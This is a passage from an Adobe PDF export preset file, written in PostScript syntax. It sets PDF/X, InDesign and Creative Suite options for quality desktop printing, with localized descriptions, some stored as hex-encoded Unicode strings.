  /PDFXSetBleedBoxToMediaBox true
  /PDFXBleedBoxToTrimBoxOffset [
    0.00000
    0.00000
    0.00000
    0.00000
  ]
  /PDFXOutputIntentProfile (None)
  /PDFXOutputConditionIdentifier ()
  /PDFXOutputCondition ()
  /PDFXRegistryName ()
  /PDFXTrapped /False

  /Description <<
    /CHS <FEFF4f7f75288fd94e9b8bbe5b9a521b5efa7684002000500044004600206587686353ef901a8fc7684c976262535370673a548c002000700072006f006f00660065007200208fdb884c9ad88d2891cf62535370300260a853ef4ee54f7f75280020004100630072006f0062006100740020548c002000410064006f00620065002000520065006100640065007200200035002e003000204ee553ca66f49ad87248672c676562535f00521b5efa768400200050004400460020658768633002>
    /CHT <FEFF4f7f752890194e9b8a2d7f6e5efa7acb7684002000410064006f006200650020005000440046002065874ef653ef5728684c9762537088686a5f548c002000700072006f006f00660065007200204e0a73725f979ad854c18cea7684521753706548679c300260a853ef4ee54f7f75280020004100630072006f0062006100740020548c002000410064006f00620065002000520065006100640065007200200035002e003000204ee553ca66f49ad87248672c4f86958b555f5df25efa7acb76840020005000440046002065874ef63002>
    /DAN <>
    /DEU <>
    /ESP <>
    /FRA <>
    /ITA <>
    /JPN <>
    /KOR <FEFFc7740020c124c815c7440020c0acc6a9d558c5ec0020b370c2a4d06cd0d10020d504b9b0d1300020bc0f0020ad50c815ae30c5d0c11c0020ace0d488c9c8b85c0020c778c1c4d560002000410064006f0062006500200050004400460020bb38c11cb97c0020c791c131d569b2c8b2e4002e0020c774b807ac8c0020c791c131b41c00200050004400460020bb38c11cb2940020004100630072006f0062006100740020bc0f002000410064006f00620065002000520065006100640065007200200035002e00300020c774c0c1c5d0c11c0020c5f40020c2180020c788c2b5b2c8b2e4002e>
    /NLD (Gebruik deze instellingen om Adobe PDF-documenten te maken voor kwaliteitsafdrukken op desktopprinters en proofers. De gemaakte PDF-documenten kunnen worden geopend met Acrobat en Adobe Reader 5.0 en hoger.)
    /NOR <>
    /PTB <>
    /SUO <>
    /SVE <>
    /ENU (Use these settings to create Adobe PDF documents for quality printing on desktop printers and proofers.  Created PDF documents can be opened with Acrobat and Adobe Reader 5.0 and later.)
  >>
  /Namespace [
    (Adobe)
    (Common)
    (1.0)
  ]
  /OtherNamespaces [
    <<
      /AsReaderSpreads false
      /CropImagesToFrames true
      /ErrorControl /WarnAndContinue
      /FlattenerIgnoreSpreadOverrides false
      /IncludeGuidesGrids false
      /IncludeNonPrinting false
      /IncludeSlug false
      /Namespace [
        (Adobe)
        (InDesign)
        (4.0)
      ]
      /OmitPlacedBitmaps false
      /OmitPlacedEPS false
      /OmitPlacedPDF false
      /SimulateOverprint /Legacy
    >>
    <<
      /AddBleedMarks false
      /AddColorBars false
      /AddCropMarks false
      /AddPageInfo false
      /AddRegMarks false
      /ConvertColors /NoConversion
      /DestinationProfileName ()
      /DestinationProfileSelector /NA
      /Downsample16BitImages true
      /FlattenerPreset <<
        /PresetSelector /MediumResolution
      >>
      /FormElements false
      /GenerateStructure true
      /IncludeBookmarks false
      /IncludeHyperlinks false
      /IncludeInteractive false
      /IncludeLayers false
      /IncludeProfiles true
      /MultimediaHandling /UseObjectSettings
      /Namespace [
        (Adobe)
        (CreativeSuite)
        (2.0)
      ]
      /PDFXOutputIntentProfileSelector /NA
      /PreserveEditing true
      /UntaggedCMYKHandling /LeaveUntagged
      /UntaggedRGBHandling /LeaveUntagged
      /UseDocumentBleed false
    >>
  ]
>> setdistillerparams
<<
  /HWResolution [2400 2400]
  /PageSize [612.000 792.000]
>> setpagedevice


